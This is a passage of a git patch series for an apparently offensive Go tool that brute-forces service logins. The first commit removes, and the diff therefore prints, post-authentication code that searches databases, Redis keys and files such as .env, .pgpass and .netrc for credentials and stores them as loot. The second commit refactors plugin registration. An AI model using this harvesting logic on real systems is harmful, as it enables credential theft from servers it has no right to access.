"%s"."%s" LIMIT %d`, col.column, col.schema, col.table, a.dbLimit) - } - rows, err := sq.Query(q) - if err != nil { - logs.Log.Debugf("[post] %s:%s query %s.%s.%s failed: %v", task.IP, task.Port, col.schema, col.table, col.column, err) - continue - } - for i, row := range rows { - if i == 0 || len(row) == 0 || row[0] == "" { - continue - } - label := fmt.Sprintf("db:%s:%s:%s.%s.%s", task.IP, task.Port, col.schema, col.table, col.column) - a.scanData([]byte(row[0]), label, result) - } - } - } - - return result, nil -} - -type dbColumn struct { - schema, table, column string -} - -func (a *PostAction) discoverCredentialColumns(sq pkg.SQLSession) ([]dbColumn, error) { - var conditions []string - for _, pat := range credentialColumns { - conditions = append(conditions, fmt.Sprintf("LOWER(COLUMN_NAME) LIKE '%%%s%%'", pat)) - } - - excludeSchemas := "'information_schema','mysql','performance_schema','sys','pg_catalog','pg_toast'" - q := fmt.Sprintf( - "SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE (%s) AND TABLE_SCHEMA NOT IN (%s)", - strings.Join(conditions, " OR "), excludeSchemas, - ) - - rows, err := sq.Query(q) - if err != nil { - return nil, err - } - var cols []dbColumn - for i, row := range rows { - if i == 0 || len(row) < 3 { - continue - } - cols = append(cols, dbColumn{schema: row[0], table: row[1], column: row[2]}) - } - return cols, nil -} - -func (a *PostAction) postKV(kv pkg.KVSession, task *pkg.Task) (*pkg.ActionResult, error) { - result := &pkg.ActionResult{} - - allKeys, err := kv.Keys("*") - if err == nil { - result.Extracteds = append(result.Extracteds, &parsers.Extracted{ - Name: "key_count", ExtractResult: []string{fmt.Sprintf("%d", len(allKeys))}, - }) - if len(allKeys) > 0 && len(allKeys) <= 50 { - result.Extracteds = append(result.Extracteds, &parsers.Extracted{ - Name: "keys", ExtractResult: allKeys, - }) - } - } - - patterns := []string{"*password*", "*secret*", "*token*", "*key*", "*cred*", "*auth*"} - seen := make(map[string]bool) - for _, pat := range patterns { - keys, err := kv.Keys(pat) - if err != nil { - logs.Log.Debugf("[post] %s:%s keys %q failed: %v", task.IP, task.Port, pat, err) - continue - } - for _, key := range keys { - if seen[key] { - continue - } - seen[key] = true - val, err := kv.Get(key) - if err != nil || len(val) == 0 { - if err != nil { - logs.Log.Debugf("[post] %s:%s get %q failed: %v", task.IP, task.Port, key, err) - } - continue - } - label := fmt.Sprintf("kv:%s:%s:%s", task.IP, task.Port, key) - a.scanData(val, label, result) - } - } - - return result, nil -} - -func (a *PostAction) postFile(fs pkg.FileSession, task *pkg.Task) (*pkg.ActionResult, error) { - result := &pkg.ActionResult{Loot: make(map[string][]byte)} - - entries, err := fs.List("/") - if err != nil { - logs.Log.Debugf("[post] %s:%s list / failed: %v", task.IP, task.Port, err) - return result, nil - } - if len(entries) > 0 { - result.Extracteds = append(result.Extracteds, &parsers.Extracted{ - Name: "root_listing", ExtractResult: entries, - }) - } - - sensitive := []string{".env", "config", "credential", ".htpasswd", ".pgpass", ".my.cnf", ".netrc"} - for _, entry := range entries { - name := strings.ToLower(entry) - for _, s := range sensitive { - if strings.Contains(name, s) { - data, err := fs.Read("/" + entry) - if err != nil || len(data) == 0 { - if err != nil { - logs.Log.Debugf("[post] %s:%s read /%s failed: %v", task.IP, task.Port, entry, err) - } - continue - } - label := fmt.Sprintf("file:%s:%s:/%s", task.IP, task.Port, entry) - result.Loot[label] = data - a.scanData(data, label, result) - break - } - } - } - - return result, nil -} - -func (a *PostAction) scanData(data []byte, label string, result *pkg.ActionResult) { - if a.scanner == nil { - return +func (a *PostAction) ScanData(data []byte, label string) []*parsers.Extracted { + if a.scanner == nil || len(data) == 0 { + return nil } + var results []*parsers.Extracted for _, group := range a.scanner.Groups { findings := a.scanner.ScanData(data, label, group) for _, f := range findings { @@ -334,7 +65,7 @@ func (a *PostAction) scanData(data []byte, label string, result *pkg.ActionResul } } if len(extracts) > 0 { - result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + results = append(results, &parsers.Extracted{ Name: fmt.Sprintf("%s:%s", f.TemplateID, label), Severity: f.Severity, ExtractResult: extracts, @@ -342,13 +73,7 @@ func (a *PostAction) scanData(data []byte, label string, result *pkg.ActionResul } } } -} - -func truncate(s string, n int) string { - if len(s) <= n { - return s - } - return s[:n] + "..." + return results } func loadTemplatesFromPath(path string, execOpts *protocols.ExecuterOptions) ([]*template.Template, error) { diff --git a/core/e2e_test.go b/core/e2e_test.go index d706c79..3166669 100644 --- a/core/e2e_test.go +++ b/core/e2e_test.go @@ -265,11 +265,11 @@ func TestE2E_RunnerAPI_ProtonPipeline(t *testing.T) { if err := runner.BuildPipeline(); err != nil { t.Fatalf("build failed: %v", err) } - if len(runner.Pipeline) != 1 { - t.Fatalf("expected 1 action, got %d", len(runner.Pipeline)) + if runner.PostAction == nil { + t.Fatal("expected PostAction to be set") } - if runner.Pipeline[0].Name() != "post" { - t.Errorf("name = %q, want post", runner.Pipeline[0].Name()) + if runner.PostAction.Name() != "post" { + t.Errorf("name = %q, want post", runner.PostAction.Name()) } } @@ -297,7 +297,7 @@ func TestE2E_WorkerExecute_ClosedPort(t *testing.T) { Timeout: 1, } - result := Execute(task, runner.Plugins, runner.Pipeline) + result := Execute(task, runner.Plugins, runner.Pipeline, nil) if result.OK { t.Error("should not succeed on closed port") } @@ -325,7 +325,7 @@ func TestE2E_WorkerExecute_WithProton_ClosedPort(t *testing.T) { Timeout: 1, } - result := Execute(task, runner.Plugins, runner.Pipeline) + result := Execute(task, runner.Plugins, runner.Pipeline, nil) if result.OK { t.Error("should not succeed on closed port") } @@ -348,7 +348,7 @@ func TestE2E_WorkerExecute_MultipleServices_ClosedPort(t *testing.T) { }, Timeout: 1, } - result := Execute(task, runner.Plugins, runner.Pipeline) + result := Execute(task, runner.Plugins, runner.Pipeline, nil) if result.OK { t.Errorf("%s should not succeed on closed port", svc) } diff --git a/core/options.go b/core/options.go index 9e38a34..d63eb00 100644 --- a/core/options.go +++ b/core/options.go @@ -71,7 +71,6 @@ type MiscOptions struct { type ActionOptions struct { Proton bool `long:"proton" description:"post-auth: collect info + run proton credential scan"` ScanTemplates []string `long:"scan-template" description:"proton template file or directory for --proton"` - DBLimit int `long:"db-limit" default:"1000" description:"max rows per column in DB credential scan"` ServiceTemplates []string `long:"service-template" description:"service protocol template file or directory for post-auth exploitation"` ServiceVars []string `short:"V" long:"var" description:"custom service-template variables in key=value format"` ServicePayloads []string `long:"payload" description:"custom service-template payloads in key=value format; repeat key for multiple values"` @@ -147,7 +146,6 @@ func (opt *Option) Prepare() (*Runner, error) { Raw: opt.Raw, Proton: opt.Proton, ScanTemplates: opt.ScanTemplates, - DBLimit: opt.DBLimit, ServiceTemplates: opt.ServiceTemplates, ServiceVars: serviceVars, ServicePayloads: servicePayloads, diff --git a/core/panic_test.go b/core/panic_test.go index 12ed169..3d2b82a 100644 --- a/core/panic_test.go +++ b/core/panic_test.go @@ -42,7 +42,7 @@ func TestPanic_NilSession_Execute(t *testing.T) { plugins := map[string]plugin.Plugin{"nil-session": &nilSessionPlugin{}} task := baseTask("nil-session") - result := Execute(task, plugins, nil) + result := Execute(task, plugins, nil, nil) if result.OK { t.Error("should not be OK") } @@ -56,7 +56,7 @@ func TestPanic_NilSession_ExecuteUnauth(t *testing.T) { plugins := map[string]plugin.Plugin{"nil-session": &nilSessionPlugin{}} task := baseTask("nil-session") - result := ExecuteUnauth(task, plugins, nil) + result := ExecuteUnauth(task, plugins, nil, nil) if result.OK { t.Error("should not be OK") } @@ -72,7 +72,7 @@ func TestPanic_NoPlugin(t *testing.T) { plugins := map[string]plugin.Plugin{} task := baseTask("nonexistent") - result := Execute(task, plugins, nil) + result := Execute(task, plugins, nil, nil) if result.OK { t.Error("should not be OK") } @@ -169,25 +169,19 @@ func TestPanic_MergeNilActionResult(t *testing.T) { func TestPanic_PostAction_EmptyData(t *testing.T) { dir := createPanicTestTemplate(t) - a, err := action.NewPostAction([]string{dir}, 100) + a, err := action.NewPostAction([]string{dir}) if err != nil { t.Fatalf("NewPostAction: %v", err) } - session := &mockShell{files: map[string][]byte{}} - task := baseTask("ssh") - defer func() { if r := recover(); r != nil { t.Errorf("PANIC on empty data: %v", r) } }() - result, err := a.Run(session, task) - if err != nil { - t.Fatalf("unexpected error: %v", err) - } - t.Logf("empty data: extracteds=%d, loot=%d", len(result.Extracteds), len(result.Loot)) + results := a.ScanData([]byte{}, "test:empty") + t.Logf("empty data: extracteds=%d", len(results)) } // --- OutputHandler nil Err --- diff --git a/core/runner.go b/core/runner.go index 3d8c740..969daa1 100644 --- a/core/runner.go +++ b/core/runner.go @@ -70,8 +70,9 @@ type Runner struct { outMu sync.Mutex outClose bool - Plugins map[string]plugin.Plugin - Pipeline []pkg.Action + Plugins map[string]plugin.Plugin + Pipeline []pkg.Action + PostAction *action.PostAction Users *Generator Pwds *Generator @@ -110,11 +111,11 @@ func (r *Runner) BuildPipeline() error { if len(r.ScanTemplates) == 0 { return fmt.Errorf("--proton requires --scan-template to specify proton template path") } - postAction, err := action.NewPostAction(r.ScanTemplates, r.DBLimit) + pa, err := action.NewPostAction(r.ScanTemplates) if err != nil { return fmt.Errorf("failed to init post action: %w", err) } - r.Pipeline = append(r.Pipeline, postAction) + r.PostAction = pa } var serviceTemplates []*service.Template @@ -235,9 +236,9 @@ func (r *Runner) RunWithContext(ctx context.Context) error { }() var res *pkg.Result if task.Mod == parsers.ZombieModUnauth { - res = ExecuteUnauth(task, r.Plugins, r.Pipeline) + res = ExecuteUnauth(task, r.Plugins, r.Pipeline, r.PostAction) } else { - res = Execute(task, r.Plugins, r.Pipeline) + res = Execute(task, r.Plugins, r.Pipeline, r.PostAction) } select { diff --git a/core/runner_option.go b/core/runner_option.go index ca0d8f1..467893e 100644 --- a/core/runner_option.go +++ b/core/runner_option.go @@ -18,7 +18,6 @@ type RunnerOption struct { // Post-auth actions Proton bool ScanTemplates []string - DBLimit int ServiceTemplates []string ServiceVars map[string]interface{} ServicePayloads map[string]interface{} diff --git a/core/worker.go b/core/worker.go index 4dbc1de..5d58c91 100644 --- a/core/worker.go +++ b/core/worker.go @@ -4,6 +4,7 @@ import ( "errors" "github.com/chainreactors/logs" + "github.com/chainreactors/zombie/action" "github.com/chainreactors/zombie/pkg" "github.com/chainreactors/zombie/plugin" ) @@ -11,7 +12,7 @@ import ( var ErrNoUnauth = errors.New("cannot unauth login") var ErrNoPlugin = errors.New("no plugin for service") -func Execute(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline []pkg.Action) *pkg.Result { +func Execute(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline []pkg.Action, postAction *action.PostAction) *pkg.Result { p := resolvePlugin(task.Service, plugins) if p == nil { return pkg.NewResult(task, ErrNoPlugin) @@ -27,18 +28,23 @@ func Execute(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline []pkg.Ac defer session.Close() result := &pkg.Result{Task: task, OK: true} - for _, action := range pipeline { - ar, err := action.Run(session, task) + for _, a := range pipeline { + ar, err := a.Run(session, task) if err != nil { - logs.Log.Debugf("[%s] action %s failed on %s: %v", task.Service, action.Name(), task.URI(), err) + logs.Log.Debugf("[%s] action %s failed on %s: %v", task.Service, a.Name(), task.URI(), err) continue } result.Merge(ar) } + if postAction != nil { + for label, data := range result.Loot { + result.Extracteds = append(result.Extracteds, postAction.ScanData(data, label)...) + } + } return result } -func ExecuteUnauth(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline []pkg.Action) *pkg.Result { +func ExecuteUnauth(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline []pkg.Action, postAction *action.PostAction) *pkg.Result { p := resolvePlugin(task.Service, plugins) if p == nil { return pkg.NewResult(task, ErrNoPlugin) @@ -54,13 +60,18 @@ func ExecuteUnauth(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline [] defer session.Close() result := &pkg.Result{Task: task, OK: true} - for _, action := range pipeline { - ar, err := action.Run(session, task) + for _, a := range pipeline { + ar, err := a.Run(session, task) if err != nil { - logs.Log.Debugf("[%s] action %s failed on %s: %v", task.Service, action.Name(), task.URI(), err) + logs.Log.Debugf("[%s] action %s failed on %s: %v", task.Service, a.Name(), task.URI(), err) } result.Merge(ar) } + if postAction != nil { + for label, data := range result.Loot { + result.Extracteds = append(result.Extracteds, postAction.ScanData(data, label)...) + } + } return result } From 856103e5c783ea4899d01a8411fc9580a517b6af Mon Sep 17 00:00:00 2001 From: M09Ic Date: Fri, 26 Jun 2026 09:46:11 -0700 Subject: [PATCH 12/18] =?UTF-8?q?refactor:=20invert=20plugin=20registry=20?= =?UTF-8?q?=E2=80=94=20each=20plugin=20self-registers=20via=20init()?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Each plugin package now registers itself and its service definition in its own init(), eliminating the centralized registry.go and the 26 hardcoded Service variables in pkg/types.go. - Plugin interface moved to pkg.Plugin; plugin/ package provides thin aliases - Each plugin init() calls pkg.RegisterPlugin() + pkg.Services.Register() - plugin/registry.go reduced to blank imports that trigger init() - pkg/types.go: removed all global Service vars and RegisterServices() - Adding a new plugin only requires creating the package + importing it Co-Authored-By: Claude Opus 4.6 (1M context) --- pkg/session.go | 25 ++++++++++ pkg/types.go | 66 +------------------------ plugin/ftp/ftp.go | 5 ++ plugin/http/http.go | 15 ++++++ plugin/ldap/ldap.go | 5 ++ plugin/memcache/memcache.go | 5 ++ plugin/mongo/mongo.go | 5 ++ plugin/mq/amqp.go | 5 ++ plugin/mq/mqtt.go | 5 ++ plugin/mssql/mssql.go | 5 ++ plugin/mysql/mysql.go | 5 ++ plugin/neutron/neutron.go | 2 + plugin/oracle/oracle.go | 5 ++ plugin/plugin.go | 11 +++-- plugin/pop3/pop3.go | 5 ++ plugin/postgre/postgre.go | 5 ++ plugin/rdp/rdp.go | 5 ++ plugin/redis/redis.go | 5 ++ plugin/registry.go | 92 ++++++++--------------------------- plugin/rsync/rsync.go | 5 ++ plugin/smb/smb.go | 5 ++ plugin/snmp/snmp.go | 5 ++ plugin/socks5/socks5.go | 5 ++ plugin/ssh/ssh.go | 5 ++ plugin/vnc/vnc.go | 5 ++ plugin/zookeeper/zookeeper.go | 5 ++ 26 files changed, 171 insertions(+), 140 deletions(-) diff --git a/pkg/session.go b/pkg/session.go index fd1a175..fbdbbaa 100644 --- a/pkg/session.go +++ b/pkg/session.go @@ -59,3 +59,28 @@ func AsDirectory(s Session) (DirectorySession, bool) { ss, ok := s.(DirectorySession) return ss, ok } + +type Plugin interface { + Name() string + Open(task *Task) (Session, error) + Unauth(task *Task) (Session, error) +} + +var pluginRegistry = map[string]Plugin{} + +func RegisterPlugin(name string, p Plugin) { + pluginRegistry[name] = p +} + +func GetPlugin(service string) (Plugin, bool) { + p, ok := pluginRegistry[service] + return p, ok +} + +func DefaultPluginRegistry() map[string]Plugin { + m := make(map[string]Plugin, len(pluginRegistry)) + for k, v := range pluginRegistry { + m[k] = v + } + return m +} diff --git a/pkg/types.go b/pkg/types.go index 2fec4ee..70fc3df 100644 --- a/pkg/types.go +++ b/pkg/types.go @@ -35,40 +35,7 @@ func (e TimeoutError) Error() string { func (e TimeoutError) Unwrap() error { return e.err } -func init() { - RegisterServices() -} - -var ( - UnknownService = &Service{Name: "unknown", DefaultPort: "", Source: "unknown"} - FTPService = &Service{Name: "ftp", DefaultPort: "21", Source: PluginSource} - SSHService = &Service{Name: "ssh", DefaultPort: "22", Source: PluginSource} - SMBService = &Service{Name: "smb", DefaultPort: "445", Source: PluginSource} - MSSQLService = &Service{Name: "mssql", DefaultPort: "1433", Source: PluginSource} - MYSQLService = &Service{Name: "mysql", DefaultPort: "3306", Source: PluginSource} - POSTGRESQLService = &Service{Name: "postgresql", DefaultPort: "5432", Alias: []string{"postgre"}, Source: PluginSource} - REDISService = &Service{Name: "redis", DefaultPort: "6379", Source: PluginSource} - MONGOService = &Service{Name: "mongo", DefaultPort: "27017", Alias: []string{"mongodb"}, Source: PluginSource} - VNCService = &Service{Name: "vnc", DefaultPort: "5900", Source: PluginSource} - RDPService = &Service{Name: "rdp", DefaultPort: "3389", Source: PluginSource} - SNMPService = &Service{Name: "snmp", DefaultPort: "161", Source: PluginSource} - ORACLEService = &Service{Name: "oracle", DefaultPort: "1521", Source: PluginSource} - HTTPService = &Service{Name: "http", DefaultPort: "80", Source: PluginSource} - HTTPSService = &Service{Name: "https", DefaultPort: "443", Source: PluginSource} - GETService = &Service{Name: "get", DefaultPort: "80", Source: PluginSource} - PostService = &Service{Name: "post", DefaultPort: "80", Source: PluginSource} - LDAPService = &Service{Name: "ldap", DefaultPort: "389", Source: PluginSource} - SOCKS5Service = &Service{Name: "socks5", DefaultPort: "1080", Source: PluginSource} - TELNETService = &Service{Name: "telnet", DefaultPort: "23", Source: PluginSource} - POP3Service = &Service{Name: "pop3", DefaultPort: "110", Alias: []string{"pop"}, Source: PluginSource} - RSYNCService = &Service{Name: "rsync", DefaultPort: "873", Source: PluginSource} - ZookeeperService = &Service{Name: "zookeeper", DefaultPort: "2181", Source: PluginSource} - AmqpService = &Service{Name: "amqp", DefaultPort: "5672", Source: PluginSource} - MqttService = &Service{Name: "mqtt", DefaultPort: "1883", Source: PluginSource} - MemcachedService = &Service{Name: "memcached", DefaultPort: "11211", Source: PluginSource} - HTTPProxyService = &Service{Name: "http_proxy", DefaultPort: "8080", Source: PluginSource} - HTTPDigestService = &Service{Name: "digest", DefaultPort: "80", Source: PluginSource} -) +var UnknownService = &Service{Name: "unknown", DefaultPort: "", Source: "unknown"} var Services = services{ Plugins: map[string]*Service{}, @@ -111,37 +78,6 @@ func (ss *services) DefaultPort(service string) string { return "" } -func RegisterServices() { - Services.Register(FTPService) - Services.Register(SSHService) - Services.Register(SMBService) - Services.Register(MSSQLService) - Services.Register(MYSQLService) - Services.Register(POSTGRESQLService) - Services.Register(REDISService) - Services.Register(MONGOService) - Services.Register(VNCService) - Services.Register(RDPService) - Services.Register(SNMPService) - Services.Register(ORACLEService) - Services.Register(HTTPService) - Services.Register(HTTPSService) - Services.Register(GETService) - Services.Register(PostService) - Services.Register(LDAPService) - Services.Register(SOCKS5Service) - Services.Register(TELNETService) - Services.Register(POP3Service) - Services.Register(RSYNCService) - Services.Register(ZookeeperService) - Services.Register(AmqpService) - Services.Register(MqttService) - Services.Register(MemcachedService) - Services.Register(HTTPProxyService) - Services.Register(HTTPDigestService) - // alias service - //Services.Register(&Service{Name: "tomcat", DefaultPort: "8080", Source: PluginSource}) -} const ( PluginSource = "plugin" diff --git a/plugin/ftp/ftp.go b/plugin/ftp/ftp.go index ed23dc4..d21376a 100644 --- a/plugin/ftp/ftp.go +++ b/plugin/ftp/ftp.go @@ -8,6 +8,11 @@ import ( "github.com/jlaffaye/ftp" ) +func init() { + pkg.RegisterPlugin("ftp", &FtpPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "ftp", DefaultPort: "21", Source: pkg.PluginSource}) +} + // ftpSession implements pkg.FileSession over an authenticated FTP connection. type ftpSession struct { service string diff --git a/plugin/http/http.go b/plugin/http/http.go index 66d6d3d..057d374 100644 --- a/plugin/http/http.go +++ b/plugin/http/http.go @@ -13,6 +13,21 @@ import ( "strings" ) +func init() { + pkg.RegisterPlugin("http", &HttpAuthPlugin{}) + pkg.RegisterPlugin("https", &HttpAuthPlugin{}) + pkg.RegisterPlugin("get", NewHTTPPlugin("GET")) + pkg.RegisterPlugin("post", NewHTTPPlugin("POST")) + pkg.RegisterPlugin("http_proxy", &HTTPProxyPlugin{}) + pkg.RegisterPlugin("digest", &HTTPDigestPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "http", DefaultPort: "80", Source: pkg.PluginSource}) + pkg.Services.Register(&pkg.Service{Name: "https", DefaultPort: "443", Source: pkg.PluginSource}) + pkg.Services.Register(&pkg.Service{Name: "get", DefaultPort: "80", Source: pkg.PluginSource}) + pkg.Services.Register(&pkg.Service{Name: "post", DefaultPort: "80", Source: pkg.PluginSource}) + pkg.Services.Register(&pkg.Service{Name: "http_proxy", DefaultPort: "8080", Source: pkg.PluginSource}) + pkg.Services.Register(&pkg.Service{Name: "digest", DefaultPort: "80", Source: pkg.PluginSource}) +} + // httpSession implements pkg.Session for HTTP GET/POST login. // HTTP is stateless, so Close is a no-op and Raw returns the http.Client. type httpSession struct { diff --git a/plugin/ldap/ldap.go b/plugin/ldap/ldap.go index 6a14574..835016d 100644 --- a/plugin/ldap/ldap.go +++ b/plugin/ldap/ldap.go @@ -7,6 +7,11 @@ import ( ldap "github.com/go-ldap/ldap/v3" ) +func init() { + pkg.RegisterPlugin("ldap", &LdapPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "ldap", DefaultPort: "389", Source: pkg.PluginSource}) +} + // ldapSession implements pkg.DirectorySession over a bound LDAP connection. type ldapSession struct { service string diff --git a/plugin/memcache/memcache.go b/plugin/memcache/memcache.go index 26f0c7a..594e657 100644 --- a/plugin/memcache/memcache.go +++ b/plugin/memcache/memcache.go @@ -6,6 +6,11 @@ import ( "github.com/chainreactors/zombie/pkg" ) +func init() { + pkg.RegisterPlugin("memcached", &MemcachePlugin{}) + pkg.Services.Register(&pkg.Service{Name: "memcached", DefaultPort: "11211", Source: pkg.PluginSource}) +} + // memcacheSession implements pkg.Session over a memcache client. type memcacheSession struct { service string diff --git a/plugin/mongo/mongo.go b/plugin/mongo/mongo.go index 8641535..47496ae 100644 --- a/plugin/mongo/mongo.go +++ b/plugin/mongo/mongo.go @@ -26,6 +26,11 @@ func (s *mongoSession) Close() error { return nil } +func init() { + pkg.RegisterPlugin("mongo", &MongoPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "mongo", DefaultPort: "27017", Alias: []string{"mongodb"}, Source: pkg.PluginSource}) +} + // MongoPlugin is stateless; all connection state lives in mongoSession. type MongoPlugin struct{} diff --git a/plugin/mq/amqp.go b/plugin/mq/amqp.go index 664ae03..59a0901 100644 --- a/plugin/mq/amqp.go +++ b/plugin/mq/amqp.go @@ -6,6 +6,11 @@ import ( "github.com/streadway/amqp" ) +func init() { + pkg.RegisterPlugin("amqp", &AMQPPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "amqp", DefaultPort: "5672", Source: pkg.PluginSource}) +} + // amqpSession implements pkg.Session over an AMQP connection. type amqpSession struct { service string diff --git a/plugin/mq/mqtt.go b/plugin/mq/mqtt.go index 089c08e..545fb69 100644 --- a/plugin/mq/mqtt.go +++ b/plugin/mq/mqtt.go @@ -6,6 +6,11 @@ import ( mqtt "github.com/eclipse/paho.mqtt.golang" ) +func init() { + pkg.RegisterPlugin("mqtt", &MQTTPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "mqtt", DefaultPort: "1883", Source: pkg.PluginSource}) +} + // mqttSession implements pkg.Session over an MQTT client connection. type mqttSession struct { service string diff --git a/plugin/mssql/mssql.go b/plugin/mssql/mssql.go index 4737471..8df6871 100644 --- a/plugin/mssql/mssql.go +++ b/plugin/mssql/mssql.go @@ -9,6 +9,11 @@ import ( _ "github.com/denisenkom/go-mssqldb" ) +func init() { + pkg.RegisterPlugin("mssql", &MssqlPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "mssql", DefaultPort: "1433", Source: pkg.PluginSource}) +} + // MssqlPlugin is a stateless factory that satisfies the Plugin interface. type MssqlPlugin struct{} diff --git a/plugin/mysql/mysql.go b/plugin/mysql/mysql.go index 19232a6..15d861f 100644 --- a/plugin/mysql/mysql.go +++ b/plugin/mysql/mysql.go @@ -10,6 +10,11 @@ import ( _ "github.com/go-sql-driver/mysql" ) +func init() { + pkg.RegisterPlugin("mysql", &MysqlPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "mysql", DefaultPort: "3306", Source: pkg.PluginSource}) +} + type nilLog struct{} func (nilLog) Print(v ...interface{}) {} diff --git a/plugin/neutron/neutron.go b/plugin/neutron/neutron.go index 2d680ce..254fc17 100644 --- a/plugin/neutron/neutron.go +++ b/plugin/neutron/neutron.go @@ -12,6 +12,8 @@ import ( ) func init() { + pkg.RegisterPlugin("neutron", &NeutronPlugin{}) + if neutroncommon.NeutronLog == nil { neutroncommon.NeutronLog = logs.Log } diff --git a/plugin/oracle/oracle.go b/plugin/oracle/oracle.go index 1b36450..67bca12 100644 --- a/plugin/oracle/oracle.go +++ b/plugin/oracle/oracle.go @@ -9,6 +9,11 @@ import ( _ "github.com/sijms/go-ora/v2" ) +func init() { + pkg.RegisterPlugin("oracle", &OraclePlugin{}) + pkg.Services.Register(&pkg.Service{Name: "oracle", DefaultPort: "1521", Source: pkg.PluginSource}) +} + // OraclePlugin is a stateless factory that satisfies the Plugin interface. type OraclePlugin struct{} diff --git a/plugin/plugin.go b/plugin/plugin.go index bbd8d1a..064bd42 100644 --- a/plugin/plugin.go +++ b/plugin/plugin.go @@ -2,8 +2,11 @@ package plugin import "github.com/chainreactors/zombie/pkg" -type Plugin interface { - Name() string - Open(task *pkg.Task) (pkg.Session, error) - Unauth(task *pkg.Task) (pkg.Session, error) +type Plugin = pkg.Plugin + +func Register(name string, p Plugin) { pkg.RegisterPlugin(name, p) } +func Get(service string) (Plugin, bool) { return pkg.GetPlugin(service) } + +func DefaultRegistry() map[string]Plugin { + return pkg.DefaultPluginRegistry() } diff --git a/plugin/pop3/pop3.go b/plugin/pop3/pop3.go index 3538dd2..108c1ce 100644 --- a/plugin/pop3/pop3.go +++ b/plugin/pop3/pop3.go @@ -6,6 +6,11 @@ import ( "strconv" ) +func init() { + pkg.RegisterPlugin("pop3", &Pop3Plugin{}) + pkg.Services.Register(&pkg.Service{Name: "pop3", DefaultPort: "110", Alias: []string{"pop"}, Source: pkg.PluginSource}) +} + // pop3Session implements pkg.Session over an authenticated POP3 connection. type pop3Session struct { service string diff --git a/plugin/postgre/postgre.go b/plugin/postgre/postgre.go index 803f6c0..551b6f5 100644 --- a/plugin/postgre/postgre.go +++ b/plugin/postgre/postgre.go @@ -10,6 +10,11 @@ import ( _ "github.com/lib/pq" ) +func init() { + pkg.RegisterPlugin("postgresql", &PostgresPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "postgresql", DefaultPort: "5432", Alias: []string{"postgre"}, Source: pkg.PluginSource}) +} + // PostgresPlugin is stateless; all connection state lives in sqlsess.Session. type PostgresPlugin struct{} diff --git a/plugin/rdp/rdp.go b/plugin/rdp/rdp.go index 7cf878f..dbc33d3 100644 --- a/plugin/rdp/rdp.go +++ b/plugin/rdp/rdp.go @@ -5,6 +5,11 @@ import ( "github.com/chainreactors/zombie/pkg" ) +func init() { + pkg.RegisterPlugin("rdp", &RdpPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "rdp", DefaultPort: "3389", Source: pkg.PluginSource}) +} + // rdpSession implements pkg.Session. RDP has no persistent connection, // so Close is a no-op and Raw returns nil. type rdpSession struct { diff --git a/plugin/redis/redis.go b/plugin/redis/redis.go index 24efca4..b4c0d2e 100644 --- a/plugin/redis/redis.go +++ b/plugin/redis/redis.go @@ -8,6 +8,11 @@ import ( "github.com/go-redis/redis" ) +func init() { + pkg.RegisterPlugin("redis", &RedisPlugin{}) + pkg.Services.Register(&pkg.Service{Name: "redis", DefaultPort: "6379", Source: pkg.PluginSource}) +} + // RedisPlugin is a stateless factory that satisfies the Plugin interface. type RedisPlugin struct{} diff --git a/plugin/registry.go b/plugin/registry.go index 0288bb6..e05df1a 100644 --- a/plugin/registry.go +++ b/plugin/registry.go @@ -1,75 +1,25 @@ package plugin import ( - "github.com/chainreactors/zombie/plugin/ftp" - "github.com/chainreactors/zombie/plugin/http" - "github.com/chainreactors/zombie/plugin/ldap" - "github.com/chainreactors/zombie/plugin/memcache" - "github.com/chainreactors/zombie/plugin/mongo" - "github.com/chainreactors/zombie/plugin/mq" - "github.com/chainreactors/zombie/plugin/mssql" - "github.com/chainreactors/zombie/plugin/mysql" - "github.com/chainreactors/zombie/plugin/neutron" - "github.com/chainreactors/zombie/plugin/oracle" - "github.com/chainreactors/zombie/plugin/pop3" - "github.com/chainreactors/zombie/plugin/postgre" - "github.com/chainreactors/zombie/plugin/rdp" - "github.com/chainreactors/zombie/plugin/redis" - "github.com/chainreactors/zombie/plugin/rsync" - "github.com/chainreactors/zombie/plugin/smb" - "github.com/chainreactors/zombie/plugin/snmp" - "github.com/chainreactors/zombie/plugin/socks5" - "github.com/chainreactors/zombie/plugin/ssh" - "github.com/chainreactors/zombie/plugin/vnc" - "github.com/chainreactors/zombie/plugin/zookeeper" - "github.com/chainreactors/zombie/pkg" + _ "github.com/chainreactors/zombie/plugin/ftp" + _ "github.com/chainreactors/zombie/plugin/http" + _ "github.com/chainreactors/zombie/plugin/ldap" + _ "github.com/chainreactors/zombie/plugin/memcache" + _ "github.com/chainreactors/zombie/plugin/mongo" + _ "github.com/chainreactors/zombie/plugin/mq" + _ "github.com/chainreactors/zombie/plugin/mssql" + _ "github.com/chainreactors/zombie/plugin/mysql" + _ "github.com/chainreactors/zombie/plugin/neutron" + _ "github.com/chainreactors/zombie/plugin/oracle" + _ "github.com/chainreactors/zombie/plugin/pop3" + _ "github.com/chainreactors/zombie/plugin/postgre" + _ "github.com/chainreactors/zombie/plugin/rdp" + _ "github.com/chainreactors/zombie/plugin/redis" + _ "github.com/chainreactors/zombie/plugin/rsync" + _ "github.com/chainreactors/zombie/plugin/smb" + _ "github.com/chainreactors/zombie/plugin/snmp" + _ "github.com/chainreactors/zombie/plugin/socks5" + _ "github.com/chainreactors/zombie/plugin/ssh" + _ "github.com/chainreactors/zombie/plugin/vnc" + _ "github.com/chainreactors/zombie/plugin/zookeeper" ) - -var registry = map[string]Plugin{} - -func Register(name string, p Plugin) { - registry[name] = p -} - -func Get(service string) (Plugin, bool) { - p, ok := registry[service] - return 